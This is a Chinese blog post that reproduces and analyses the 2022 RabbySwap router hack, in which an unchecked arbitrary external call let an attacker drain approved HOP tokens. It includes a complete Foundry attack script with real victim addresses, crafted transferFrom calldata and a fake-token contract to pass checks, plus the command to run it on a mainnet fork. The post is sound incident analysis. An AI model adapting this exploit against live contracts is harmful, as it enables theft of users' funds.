# RabbyWallet被盗的复现与简析

By [rbtree](https://paragraph.com/@rbtree) · 2022-10-17

---

阅读本文之前，可以先阅读下面这篇文章，本文是基于下面这篇文章提供的材料对RabbyWallet的攻击进行复现和分析的。

[https://learnblockchain.cn/article/4881](https://learnblockchain.cn/article/4881)

选取的攻击交易为

[https://etherscan.io/tx/0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038](https://etherscan.io/tx/0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038)

这笔交易试图盗取6名用户的HOP代币资产，其中2人因为approve为0逃过一劫，另外4人的HOP代币全部被转走。

1 RabbySwap的正常执行逻辑
------------------

我们先来看一个正常的RabbySwap交易。

[https://etherscan.io/tx/0x576e6e447a2ca0071451de056e0a03395fb11d26dd7c4fde566001785552e7c0](https://etherscan.io/tx/0x576e6e447a2ca0071451de056e0a03395fb11d26dd7c4fde566001785552e7c0)

![](https://storage.googleapis.com/papyrus_images/59b15f7e32973043b45015e1457f98b79e9e01d575680419df10a0213fc61e8c.png)

大家可以看一下图中被我圈起来的部分，ZeroEx::sellToUniswap.

因为RabbySwap本身并没有流动池，所以它其实只是一个中转站，它还需要在自己的swap函数中调用其他dex的接口。在上面的例子中，调用了0x的接口，然后0x又去调用了sushi。

RabbySwap的代码并没有开源，不过我们可以在它的一份代码审计报告中看到一些代码片段。巧合的是，其中恰好有个片段是\_swap()，它应该就是swap接口的核心逻辑所在。

[https://github.com/RabbyHub/Rabby/blob/develop/docs/PeckShield-Audit-Report-RabbyRouter-v1.0.pdf](https://github.com/RabbyHub/Rabby/blob/develop/docs/PeckShield-Audit-Report-RabbyRouter-v1.0.pdf)

![](https://storage.googleapis.com/papyrus_images/0b3774deb3393507e12a5a1057c0abfe77ad792f18cb9262c21a2fd74de84bc7.png)

![](https://storage.googleapis.com/papyrus_images/c6eff97b324929e264ca670988acfc3775b7f9298957c46deb7535d759de56d9.png)

![](https://storage.googleapis.com/papyrus_images/1fb1cce7d576abd9c51c4a4b092d15f9c8f714e6725adea768b1b28efd5c1957.png)

其中的关键是我在图中圈起来的部分——dexRouter.functionCallWithValue，应该就是这个函数完成了对外部dex的调用完成了swap过程。

functionCallWithValue是openzeppelin的库函数，最终会被转为dexRouter.call{value: value}(data)

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
    
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }
    

这是一个可怕的操作，用户可以通过调整swap函数的入参dexRouter和data，让这里随意调用任意合约的任意方法，正是这里给了攻击者可乘之机。

2 RabbySwap的攻击交易
----------------

[https://etherscan.io/tx/0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038](https://etherscan.io/tx/0x366df0c20e00666749b16ae00475b3c41834dc659ebb29e059aa9bffa892c038)

攻击交易中多次调用了Rabby的swap接口，我们只看其中一个。

![](https://storage.googleapis.com/papyrus_images/1ff05917d1b312ec43f9357b1d087abeef94629163ab58bc29e23578af02c2d9.png)

和上面的正常交易对比，最明显的不同是ZeroEx::sellToUniswap被替换成了HOPToken::transferFrom，本来是应该调用0x的兑换接口完成token兑换，这里却调用HOP代币合约的transferFrom函数，把HOP转到了黑客的钱包。这就是任何合约函数调用的可怕之处，不需要获取任何管理员权限，轻松偷到了代币。

根据链上交易的执行过程，我写了如下代码重现了黑客的这一攻击交易。

    pragma solidity ^0.8.0;
    import "forge-std/Script.sol";
    
    contract TestScript is Script {
    
        function setUp() public {
        }
    
        function run() public {
            AttackContract attackInstance = new AttackContract();
    
            uint256[] memory victims = new uint256Unsupported embed;
            victims[0] = 0x0000000000000000000000000753cfbc797abfce05abaacbb1e6ae032feb5f1d;
            victims[1] = 0x0000000000000000000000001eef1739bd82968725d9919bceb11ed9616a4da5; // allowance = 0
            victims[2] = 0x0000000000000000000000007d7abdce70d3b346b2cae671b450792d73785b38;
            victims[3] = 0x0000000000000000000000008e283b2383d0e4c68d064438e9113a48b467ec40;
            victims[4] = 0x0000000000000000000000009a74ec99bd88eca680485da7f32fca05af375dcf; // allowance = 0
            victims[5] = 0x000000000000000000000000eeff1559b2876e90a6cf341ac4d37e84dba5e8c5;
            uint256 hopTokenAddr = 0x000000000000000000000000c5102fe9359fd9a28f877a67e36b0f050d81a3cc;
    
            attackInstance.batchAttack(victims, hopTokenAddr);
        }
    }
    
    contract AttackContract {
        address constant rabby = 0x6eb211CAF6d304A76efE37D9AbDFAdDC2d4363d1;
        address constant receiver = 0x9682f31b3f572988f93C2B8382586ca26A866475; // attacker's EOA address
    
        function batchAttack(uint256[] calldata victims, uint256 token) external {
            for (uint i = 0; i < victims.length; i++) {
                attack(address(uint160(victims[i])), address(uint160(token)));
            }
        }
    
        function attack(address victim, address token) internal {
            address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
            uint256 amount = 0;
            address destToken = address(this);
            uint256 minReturn = 4660;
            address dexRouter = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC;
            address dexSpender = 0xc5102fE9359FD9a28f877a67E36B0F050d81a3CC;
    
            uint256 amountOwned = IERC20(token).balanceOf(victim);
            uint256 amountApproved = IERC20(token).allowance(victim, rabby);
            if (amountOwned == 0 || amountApproved == 0) return;
            bytes memory data;
            // avoid stack too deep
            {
                bytes4 transferSig = 0x23b872dd;
                uint256 victimAddr = uint160(victim);
                uint256 attackerAddr = uint160(receiver);
                uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved;
    
                // b1-b7 is useless in attack transaction
                bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
                bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len
                bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT
                bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address.
                bytes4 b5 = 0x869584cd;
                bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011;
                bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef;
    
                bytes memory dataTemp = abi.encodePacked(transferSig, victimAddr, attackerAddr, transferAmount,
                   b1, b2, b3, b4, b5, b6, b7);
                data = dataTemp;
            }
            uint256 deadline = 1665403089111;
            RabbySwap(rabby).swap(srcToken, amount, destToken, minReturn, dexRouter, dexSpender, data, deadline);
        }
    
        function balanceOf(address addr) public returns(uint256) {
            return 100000000000000000000;
        }
        function transfer(address to, uint256 amount) external returns (bool) {
            return true;
        }
    }
    
    interface IERC20 {
        function balanceOf(address addr) external view returns(uint256);
        function allowance(address owner, address spender) external view returns (uint256);
    }
    
    interface RabbySwap {
        function swap(address srcToken, uint256 amount, address dstToken, uint256 minReturn, address dexRouter, address dexSpender,
                      bytes calldata data, uint256 deadline) external;
    }
    

运行forge script script/Test.s.sol --fork-url $ETH\_RPC\_URL --fork-block-number 15724450 -vvvv --tc TestScript即可运行：

![](https://storage.googleapis.com/papyrus_images/0c80bd6cc27fcd3a99f0aed209ab59f26c74a5de1a259ab2251a484c4365763c.png)

其中核心函数是function attack(address victim, address token)，这个函数构造了对transferFrom的调用。关键是下面几行代码：

transferSig是bytes4(keccak256(”transferFrom(address,address,uint256)”).

victimAddr、attackerAddr、transferAmount是transferFrom的三个参数，分别是受害者地址，黑客地址、转移代币数额。其中转移代币数额可以通过受害者拥有的代币数和approve的代币数取最小值获得，这两个数字都可以通过HOP合约查到。

    uint256 amountOwned = IERC20(token).balanceOf(victim);
    uint256 amountApproved = IERC20(token).allowance(victim, rabby);
    if (amountOwned == 0 || amountApproved == 0) return;
    bytes memory data;
    // avoid stack too deep
    {
      bytes4 transferSig = 0x23b872dd;
      uint256 victimAddr = uint160(victim);
      uint256 attackerAddr = uint160(receiver);
      uint256 transferAmount = amountOwned < amountApproved ? amountOwned : amountApproved;
      ......
    }
    

下面这些变量，其中b1-b4在正常交易中是用来指定swap路径的，b5-b7我没看出来是做什么的。

不过在攻击交易中，这些变量并没有发挥作用，实际上，如果把它们去掉，攻击交易依然可以正常执行。

    // b1-b7 is useless in attack transaction
    bytes32 b1 = 0x0000000000000000000000000000000000000000000000000000000000000000;
    bytes32 b2 = 0x0000000000000000000000000000000000000000000000000000000000000002; // array len
    bytes32 b3 = 0x000000000000000000000000dac17f958d2ee523a2206206994597c13d831ec7; // USDT
    bytes32 b4 = 0x000000000000000000000000eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee; // ETH pseudo-token address.
    bytes4 b5 = 0x869584cd;
    bytes32 b6 = 0x0000000000000000000000001000000000000000000000000000000000000011;
    bytes32 b7 = 0x00000000000000000000000000000000000000000000005f5265d161634262ef;
    

在Rabby的的函数中，最后还有一些简单的校验，判断换出的token数目有没有超过最小额。然后会把换出来的代币发送给调用者。攻击合约还需要做一些修改通过这些校验和后续发送操作。

![](https://storage.googleapis.com/papyrus_images/8b516c48802dc544b88c0fe7b9754a48153b21ace30e35cee1112698d81e87eb.png)

攻击交易实际上是假装自己在用USDT换另一种token，可能是为了方便，黑客把这个token地址就设定为这个合约本身，然后为这个合约实现了balanceOf和transfer函数，只要让balanceOf返回一个很大的数字、transfer函数返回true就可以轻松通过校验。

    function attack(address victim, address token) internal {
        address srcToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7; // USDT
        uint256 amount = 0;
        address destToken = address(this);
        uint256 minReturn = 4660;
        ......
    }
    
    function balanceOf(address addr) public returns(uint256) {
        return 100000000000000000000;
    }
    
    function transfer(address to, uint256 amount) external returns (bool) {
        return true;
    }
    

3 总结与困惑
-------

认真分析攻击交易之后可以发现，整个攻击过程简单到让人瞠目，没有盗取管理员权限的花哨操作，只是简单的构造了swap接口的入参。究其原因，还是因为RabbySwap的合约中包含了一个非常危险的任何合约函数调用，且几乎没有做任何有效的校验。

让我感到困惑的是，为什么这样明显有风险的代码会被部署上链，如果真的是审计没有发现，对审计公司也算是个事故吧？

---

*Originally published on [rbtree](https://paragraph.com/@rbtree/rabbywallet)*
